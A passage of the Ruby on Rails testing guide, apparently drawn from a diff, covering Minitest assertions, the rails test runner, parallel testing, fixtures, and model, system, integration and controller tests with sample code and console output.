changing the options found in `config/environments/test.rb`. + +NOTE: Your tests are run under `RAILS_ENV=test`. + +### Rails meets Minitest + +If you remember, we used the `rails generate model` command in the +[Getting Started with Rails](getting_started.html) guide. We created our first +model, and among other things it created test stubs in the `test` directory: + +```bash +$ rails generate model article title:string body:text +... +create app/models/article.rb +create test/models/article_test.rb +create test/fixtures/articles.yml +... +``` + +The default test stub in `test/models/article_test.rb` looks like this: + +```ruby +require 'test_helper' + +class ArticleTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end +``` + +A line by line examination of this file will help get you oriented to Rails testing code and terminology. + +```ruby +require 'test_helper' +``` + +By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests. + +```ruby +class ArticleTest < ActiveSupport::TestCase +``` + +The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, we'll see some of the methods it gives us. + +Any method defined within a class inherited from `Minitest::Test` +(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run. + +Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like: + +```ruby +test "the truth" do + assert true +end +``` + +Which is approximately the same as writing this: + +```ruby +def test_the_truth + assert true +end +``` + +Although you can still use regular method definitions, using the `test` macro allows for a more readable test name. + +NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name. + +Next, let's look at our first assertion: + +```ruby +assert true +``` + +An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: + +* does this value = that value? +* is this object nil? +* does this line of code throw an exception? +* is the user's password greater than 5 characters? + +Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass. + +#### Your first failing test + +To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case. + +```ruby +test "should not save article without title" do + article = Article.new + assert_not article.save +end +``` + +Let us run this newly added test (where `6` is the number of line where the test is defined). + +```bash +$ rails test test/models/article_test.rb:6 +Run options: --seed 44656 + +# Running: + +F + +Failure: +ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]: +Expected true to be nil or false + + +rails test test/models/article_test.rb:6 + + + +Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s. + +1 runs, 1 assertions, 1 failures, 0 errors, 0 skips + +``` + +In the output, `F` denotes a failure. You can see the corresponding trace shown under `Failure` along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: + +```ruby +test "should not save article without title" do + article = Article.new + assert_not article.save, "Saved the article without a title" +end +``` + +Running this test shows the friendlier assertion message: + +```bash +Failure: +ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]: +Saved the article without a title +``` + +Now to get this test to pass we can add a model level validation for the _title_ field. + +```ruby +class Article < ApplicationRecord + validates :title, presence: true +end +``` + +Now the test should pass. Let us verify by running the test again: + +```bash +$ rails test test/models/article_test.rb:6 +Run options: --seed 31252 + +# Running: + +. + +Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s. + +1 runs, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +Now, if you noticed, we first wrote a test which fails for a desired +functionality, then we wrote some code which adds the functionality and finally +we ensured that our test passes. This approach to software development is +referred to as +[_Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment). + +#### What an error looks like + +To see how an error gets reported, here's a test containing an error: + +```ruby +test "should report error" do + # some_undefined_variable is not defined elsewhere in the test case + some_undefined_variable + assert true +end +``` + +Now you can see even more output in the console from running the tests: + +```bash +$ rails test test/models/article_test.rb +Run options: --seed 1808 + +# Running: + +.E + +Error: +ArticleTest#test_should_report_error: +NameError: undefined local variable or method 'some_undefined_variable' for #<ArticleTest:0x007fee3aa71798> + test/models/article_test.rb:11:in 'block in <class:ArticleTest>' + + +rails test test/models/article_test.rb:9 + + + +Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s. + +2 runs, 1 assertions, 0 failures, 1 errors, 0 skips +``` + +Notice the 'E' in the output. It denotes a test with error. + +NOTE: The execution of each test method stops as soon as any error or an +assertion failure is encountered, and the test suite continues with the next +method. All test methods are executed in random order. The +[`config.active_support.test_order` option](configuring.html#configuring-active-support) +can be used to configure test order. + +When a test fails you are presented with the corresponding backtrace. By default +Rails filters that backtrace and will only print lines relevant to your +application. This eliminates the framework noise and helps to focus on your +code. However there are situations when you want to see the full +backtrace. Set the `-b` (or `--backtrace`) argument to enable this behavior: + +```bash +$ rails test -b test/models/article_test.rb +``` + +If we want this test to pass we can modify it to use `assert_raises` like so: + +```ruby +test "should report error" do + # some_undefined_variable is not defined elsewhere in the test case + assert_raises(NameError) do + some_undefined_variable + end +end +``` + +This test should now pass. + +### Available Assertions + +By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. + +Here's an extract of the assertions you can use with +[`Minitest`](https://github.com/seattlerb/minitest), the default testing library +used by Rails. The `[msg]` parameter is an optional string message you can +specify to make your test failure messages clearer. + +| Assertion | Purpose | +| ---------------------------------------------------------------- | ------- | +| `assert( test, [msg] )` | Ensures that `test` is true.| +| `assert_not( test, [msg] )` | Ensures that `test` is false.| +| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| +| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| +| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| +| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.| +| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| +| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.| +| `assert_empty( obj, [msg] )` | Ensures that `obj` is `empty?`.| +| `assert_not_empty( obj, [msg] )` | Ensures that `obj` is not `empty?`.| +| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| +| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| +| `assert_includes( collection, obj, [msg] )` | Ensures that `obj` is in `collection`.| +| `assert_not_includes( collection, obj, [msg] )` | Ensures that `obj` is not in `collection`.| +| `assert_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.| +| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.| +| `assert_in_epsilon ( expected, actual, [epsilon], [msg] )` | Ensures that the numbers `expected` and `actual` have a relative error less than `epsilon`.| +| `assert_not_in_epsilon ( expected, actual, [epsilon], [msg] )` | Ensures that the numbers `expected` and `actual` don't have a relative error less than `epsilon`.| +| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| +| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| +| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.| +| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class` or is descending from it.| +| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.| +| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.| +| `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.| +| `assert_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`| +| `assert_not_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`| +| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| + +The above are a subset of assertions that minitest supports. For an exhaustive & +more up-to-date list, please check +[Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically +[`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html). + +Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. + +NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial. + +### Rails Specific Assertions + +Rails adds some custom assertions of its own to the `minitest` framework: + +| Assertion | Purpose | +| --------------------------------------------------------------------------------- | ------- | +| [`assert_difference(expressions, difference = 1, message = nil) {...}`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference) | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| +| [`assert_no_difference(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference) | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| +| [`assert_changes(expressions, message = nil, from:, to:, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes) | Test that the result of evaluating an expression is changed after invoking the passed in block.| +| [`assert_no_changes(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes) | Test the result of evaluating an expression is not changed after invoking the passed in block.| +| [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised) | Ensures that the given block doesn't raise any exceptions.| +| [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| +| [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| +| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.| +| [`assert_redirected_to(options = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to) | Asserts that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.| + +You'll see the usage of some of these assertions in the next chapter. + +### A Brief Note About Test Cases + +All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from: + +* [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html) +* [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html) +* [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html) +* [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html) +* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html) +* [`ActionDispatch::SystemTestCase`](http://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html) +* [`Rails::Generators::TestCase`](http://api.rubyonrails.org/classes/Rails/Generators/TestCase.html) + +Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests. + +NOTE: For more information on `Minitest`, refer to [its +documentation](http://docs.seattlerb.org/minitest). + +### The Rails Test Runner + +We can run all of our tests at once by using the `rails test` command. + +Or we can run a single test file by passing the `rails test` command the filename containing the test cases. + +```bash +$ rails test test/models/article_test.rb +Run options: --seed 1559 + +# Running: + +.. + +Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s. + +2 runs, 3 assertions, 0 failures, 0 errors, 0 skips +``` + +This will run all test methods from the test case. + +You can also run a particular test method from the test case by providing the +`-n` or `--name` flag and the test's method name. + +```bash +$ rails test test/models/article_test.rb -n test_the_truth +Run options: -n test_the_truth --seed 43583 + +# Running: + +. + +Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +You can also run a test at a specific line by providing the line number. + +```bash +$ rails test test/models/article_test.rb:6 # run specific test and line +``` + +You can also run an entire directory of tests by providing the path to the directory. + +```bash +$ rails test test/controllers # run all tests from specific directory +``` + +The test runner also provides a lot of other features like failing fast, deferring test output +at the end of test run and so on. Check the documentation of the test runner as follows: + +```bash +$ rails test -h +Usage: rails test [options] [files or directories] + +You can run a single test by appending a line number to a filename: + + rails test test/models/user_test.rb:27 + +You can run multiple files and directories at the same time: + + rails test test/controllers test/integration/login_test.rb + +By default test failures and errors are reported inline during a run. + +minitest options: + -h, --help Display this help. + --no-plugins Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS). + -s, --seed SEED Sets random seed. Also via env. Eg: SEED=n rake + -v, --verbose Verbose. Show progress processing files. + -n, --name PATTERN Filter run on /regexp/ or string. + --exclude PATTERN Exclude /regexp/ or string from run. + +Known extensions: rails, pride + -w, --warnings Run with Ruby warnings enabled + -e, --environment ENV Run tests in the ENV environment + -b, --backtrace Show the complete backtrace + -d, --defer-output Output test failures and errors after the test run + -f, --fail-fast Abort test run on first failure or error + -c, --[no-]color Enable color in the output + -p, --pride Pride. Show your testing pride! +``` + +Parallel Testing +---------------- + +Parallel testing allows you to parallelize your test suite. While forking processes is the +default method, threading is supported as well. Running tests in parallel reduces the time it +takes your entire test suite to run. + +### Parallel testing with processes + +The default parallelization method is to fork processes using Ruby's DRb system. The processes +are forked based on the number of workers provided. The default number is the actual core count +on the machine you are on, but can be changed by the number passed to the parallelize method. + +To enable parallelization add the following to your `test_helper.rb`: + +```ruby +class ActiveSupport::TestCase + parallelize(workers: 2) +end +``` + +The number of workers passed is the number of times the process will be forked. You may want to +parallelize your local test suite differently from your CI, so an environment variable is provided +to be able to easily change the number of workers a test run should use: + +```bash +PARALLEL_WORKERS=15 rails test +``` + +When parallelizing tests, Active Record automatically handles creating a database and loading the schema into the database for each +process. The databases will be suffixed with the number corresponding to the worker. For example, if you +have 2 workers the tests will create `test-database-0` and `test-database-1` respectively. + +If the number of workers passed is 1 or fewer the processes will not be forked and the tests will not +be parallelized and the tests will use the original `test-database` database. + +Two hooks are provided, one runs when the process is forked, and one runs before the forked process is closed. +These can be useful if your app uses multiple databases or perform other tasks that depend on the number of +workers. + +The `parallelize_setup` method is called right after the processes are forked. The `parallelize_teardown` method +is called right before the processes are closed. + +```ruby +class ActiveSupport::TestCase + parallelize_setup do |worker| + # setup databases + end + + parallelize_teardown do |worker| + # cleanup databases + end + + parallelize(workers: :number_of_processors) +end +``` + +These methods are not needed or available when using parallel testing with threads. + +### Parallel testing with threads + +If you prefer using threads or are using JRuby, a threaded parallelization option is provided. The threaded +parallelizer is backed by Minitest's `Parallel::Executor`. + +To change the parallelization method to use threads over forks put the following in your `test_helper.rb` + +```ruby +class ActiveSupport::TestCase + parallelize(workers: :number_of_processors, with: :threads) +end +``` + +Rails applications generated from JRuby will automatically include the `with: :threads` option. + +The number of workers passed to `parallelize` determines the number of threads the tests will use. You may +want to parallelize your local test suite differently from your CI, so an environment variable is provided +to be able to easily change the number of workers a test run should use: + +```bash +PARALLEL_WORKERS=15 rails test +``` + +The Test Database +----------------- + +Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. + +By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`. + +A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases. + + +### Maintaining the test database schema + +In order to run your tests, your test database will need to have the current +structure. The test helper checks whether your test database has any pending +migrations. It will try to load your `db/schema.rb` or `db/structure.sql` +into the test database. If migrations are still pending, an error will be +raised. Usually this indicates that your schema is not fully migrated. Running +the migrations against the development database (`rails db:migrate`) will +bring the schema up to date. + +NOTE: If there were modifications to existing migrations, the test database needs to +be rebuilt. This can be done by executing `rails db:test:prepare`. + +### The Low-Down on Fixtures + +For good tests, you'll need to give some thought to setting up test data. +In Rails, you can handle this by defining and customizing fixtures. +You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### What Are Fixtures? + +_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model. + +NOTE: Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case. + +You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model, Rails automatically creates fixture stubs in this directory. + +#### YAML + +YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). + +Here's a sample YAML fixture file: + +```yaml +# lo & behold! I am a YAML comment! +david: + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development + +steve: + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard +``` + +Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column. + +If you are working with [associations](/association_basics.html), you can +define a reference node between two different fixtures. Here's an example with +a `belongs_to`/`has_many` association: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +first: + title: Welcome to Rails! + body: Hello world! + category: about +``` + +Notice the `category` key of the `first` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`. + +NOTE: For associations to reference one another by name, you can use the fixture name instead of specifying the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### ERB'in It Up + +ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: + +```erb +<% 1000.times do |n| %> +user_<%= n %>: + username: <%= "user#{n}" %> + email: <%= "user#{n}@example.com" %> +<% end %> +``` + +#### Fixtures in Action + +Rails automatically loads all fixtures from the `test/fixtures` directory by +default. Loading involves three steps: + +1. Remove any existing data from the table corresponding to the fixture +2. Load the fixture data into the table +3. Dump the fixture data into a method in case you want to access it directly + +TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)). + +#### Fixtures are Active Record objects + +Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example: + +```ruby +# this will return the User object for the fixture named david +users(:david) + +# this will return the property for david called id +users(:david).id + +# one can also access methods available on the User class +david = users(:david) +david.call(david.partner) +``` + +To get multiple fixtures at once, you can pass in a list of fixture names. For example: + +```ruby +# this will return an array containing the fixtures david and steve +users(:david, :steve) +``` + + +Model Testing +------------- + +Model tests are used to test the various models of your application. + +Rails model tests are stored under the `test/models` directory. Rails provides +a generator to create a model test skeleton for you. + +```bash +$ rails generate test_unit:model article title:string body:text +create test/models/article_test.rb +create test/fixtures/articles.yml +``` + +Model tests don't have their own superclass like `ActionMailer::TestCase` instead they inherit from [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html). + +System Testing +-------------- + +System tests allow you to test user interactions with your application, running tests +in either a real or a headless browser. System tests use Capybara under the hood. + +For creating Rails system tests, you use the `test/system` directory in your +application. Rails provides a generator to create a system test skeleton for you. + +```bash +$ rails generate system_test users + invoke test_unit + create test/system/users_test.rb +``` + +Here's what a freshly generated system test looks like: + +```ruby +require "application_system_test_case" + +class UsersTest < ApplicationSystemTestCase + # test "visiting the index" do + # visit users_url + # + # assert_selector "h1", text: "Users" + # end +end +``` + +By default, system tests are run with the Selenium driver, using the Chrome +browser, and a screen size of 1400x1400. The next section explains how to +change the default settings. + +### Changing the default settings + +Rails makes changing the default settings for system tests very simple. All +the setup is abstracted away so you can focus on writing your tests. + +When you generate a new application or scaffold, an `application_system_test_case.rb` file +is created in the test directory. This is where all the configuration for your +system tests should live. + +If you want to change the default settings you can change what the system +tests are "driven by". Say you want to change the driver from Selenium to +Poltergeist. First add the `poltergeist` gem to your `Gemfile`. Then in your +`application_system_test_case.rb` file do the following: + +```ruby +require "test_helper" +require "capybara/poltergeist" + +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :poltergeist +end +``` + +The driver name is a required argument for `driven_by`. The optional arguments +that can be passed to `driven_by` are `:using` for the browser (this will only +be used by Selenium), `:screen_size` to change the size of the screen for +screenshots, and `:options` which can be used to set options supported by the +driver. + +```ruby +require "test_helper" + +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :firefox +end +``` + +If you want to use a headless browser, you could use Headless Chrome or Headless Firefox by adding +`headless_chrome` or `headless_firefox` in the `:using` argument. + +```ruby +require "test_helper" + +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :headless_chrome +end +``` + +If your Capybara configuration requires more setup than provided by Rails, this +additional configuration could be added into the `application_system_test_case.rb` +file. + +Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup) +for additional settings. + +### Screenshot Helper + +The `ScreenshotHelper` is a helper designed to capture screenshots of your tests. +This can be helpful for viewing the browser at the point a test failed, or +to view screenshots later for debugging. + +Two methods are provided: `take_screenshot` and `take_failed_screenshot`. +`take_failed_screenshot` is automatically included in `after_teardown` inside +Rails. + +The `take_screenshot` helper method can be included anywhere in your tests to +take a screenshot of the browser. + +### Implementing a system test + +Now we're going to add a system test to our blog application. We'll demonstrate +writing a system test by visiting the index page and creating a new blog article. + +If you used the scaffold generator, a system test skeleton was automatically +created for you. If you didn't use the scaffold generator, start by creating a +system test skeleton. + +```bash +$ rails generate system_test articles +``` + +It should have created a test file placeholder for us. With the output of the +previous command you should see: + +```bash + invoke test_unit + create test/system/articles_test.rb +``` + +Now let's open that file and write our first assertion: + +```ruby +require "application_system_test_case" + +class ArticlesTest < ApplicationSystemTestCase + test "viewing the index" do + visit articles_path + assert_selector "h1", text: "Articles" + end +end +``` + +The test should see that there is an `h1` on the articles index page and pass. + +Run the system tests. + +```bash +rails test:system +``` + +NOTE: By default, running `rails test` won't run your system tests. +Make sure to run `rails test:system` to actually run them. + +#### Creating articles system test + +Now let's test the flow for creating a new article in our blog. + +```ruby +test "creating an article" do + visit articles_path + + click_on "New Article" + + fill_in "Title", with: "Creating an Article" + fill_in "Body", with: "Created this article successfully!" + + click_on "Create Article" + + assert_text "Creating an Article" +end +``` + +The first step is to call `visit articles_path`. This will take the test to the +articles index page. + +Then the `click_on "New Article"` will find the "New Article" button on the +index page. This will redirect the browser to `/articles/new`. + +Then the test will fill in the title and body of the article with the specified +text. Once the fields are filled in, "Create Article" is clicked on which will +send a POST request to create the new article in the database. + +We will be redirected back to the articles index page and there we assert +that the text from the new article's title is on the articles index page. + +#### Testing for multiple screen sizes +If you want to test for mobile sizes on top of testing for desktop, +you can create another class that inherits from SystemTestCase and use in your +test suite. In this example a file called `mobile_system_test_case.rb` is created +in the `/test` directory with the following configuration. + +```ruby +require "test_helper" + +class MobileSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :chrome, screen_size: [375, 667] +end +``` +To use this configuration, create a test inside `test/system` that inherits from `MobileSystemTestCase`. +Now you can test your app using multiple different configurations. + +```ruby +require "mobile_system_test_case" + +class PostsTest < MobileSystemTestCase + + test "visiting the index" do + visit posts_url + assert_selector "h1", text: "Posts" + end +end +``` + +#### Taking it further + +The beauty of system testing is that it is similar to integration testing in +that it tests the user's interaction with your controller, model, and view, but +system testing is much more robust and actually tests your application as if +a real user were using it. Going forward, you can test anything that the user +themselves would do in your application such as commenting, deleting articles, +publishing draft articles, etc. + +Integration Testing +------------------- + +Integration tests are used to test how various parts of your application interact. They are generally used to test important workflows within our application. + +For creating Rails integration tests, we use the `test/integration` directory for our application. Rails provides a generator to create an integration test skeleton for us. + +```bash +$ rails generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +``` + +Here's what a freshly generated integration test looks like: + +```ruby +require 'test_helper' + +class UserFlowsTest < ActionDispatch::IntegrationTest + # test "the truth" do + # assert true + # end +end +``` + +Here the test is inheriting from `ActionDispatch::IntegrationTest`. This makes some additional helpers available for us to use in our integration tests. + +### Helpers Available for Integration Tests + +In addition to the standard testing helpers, inheriting from `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from. + +For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). + +When performing requests, we will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for our use. + +If we need to modify the session, or state of our integration test, take a look at [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help. + +### Implementing an integration test + +Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly. + +We'll start by generating our integration test skeleton: + +```bash +$ rails generate integration_test blog_flow +``` + +It should have created a test file placeholder for us. With the output of the +previous command we should see: + +```bash + invoke test_unit + create test/integration/blog_flow_test.rb +``` + +Now let's open that file and write our first assertion: + +```ruby +require 'test_helper' + +class BlogFlowTest < ActionDispatch::IntegrationTest + test "can see the welcome page" do + get "/" + assert_select "h1", "Welcome#index" + end +end +``` + +We will take a look at `assert_select` to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content. + +When we visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass. + +#### Creating articles integration + +How about testing our ability to create a new article in our blog and see the resulting article. + +```ruby +test "can create an article" do + get "/articles/new" + assert_response :success + + post "/articles", + params: { article: { title: "can create", body: "article successfully." } } + assert_response :redirect + follow_redirect! + assert_response :success + assert_select "p", "Title:\n can create" +end +``` + +Let's break this test down so we can understand it. + +We start by calling the `:new` action on our Articles controller. This response should be successful. + +After this we make a post request to the `:create` action of our Articles controller: + +```ruby +post "/articles", + params: { article: { title: "can create", body: "article successfully." } } +assert_response :redirect +follow_redirect! +``` + +The two lines following the request are to handle the redirect we setup when creating a new article. + +NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made. + +Finally we can assert that our response was successful and our new article is readable on the page. + +#### Taking it further + +We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications. + + +Functional Tests for Your Controllers +------------------------------------- + +In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view. + +### What to include in your Functional Tests + +You should test for things such as: + +* was the web request successful? +* was the user redirected to the right page? +* was the user successfully authenticated? +* was the appropriate message displayed to the user in the view? +* was the correct information displayed in the response? + +The easiest way to see functional tests in action is to generate a controller using the scaffold generator: + +```bash +$ rails generate scaffold_controller article title:string body:text +... +create app/controllers/articles_controller.rb +... +invoke test_unit +create test/controllers/articles_controller_test.rb +... +``` + +This will generate the controller code and tests for an `Article` resource. +You can take a look at the file `articles_controller_test.rb` in the `test/controllers` directory. + +If you already have a controller and just want to generate the test scaffold code for +each of the seven default actions, you can use the following command: + +```bash +$ rails generate test_unit:scaffold article +... +invoke test_unit +create test/controllers/articles_controller_test.rb +... +``` + +Let's take a look at one such test, `test_should_get_index` from the file `articles_controller_test.rb`. + +```ruby +# articles_controller_test.rb +class ArticlesControllerTest < ActionDispatch::IntegrationTest + test "should get index" do + get articles_url + assert_response :success + end +end +``` + +In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful +and also ensuring that the right response body has been generated. + +The `get` method kicks off the web request and populates the results into the `@response`. It can accept up to 6 arguments: + +* The URI of the controller action you are requesting. + This can be in the form of a string or a route helper (e.g. `articles_url`). +* `params`: option with a hash of request parameters to pass into the action + (e.g. query string parameters or article variables). +* `headers`: for setting the headers that will be passed with the request. +* `env`: for customizing the request environment as needed. +* `xhr`: whether the 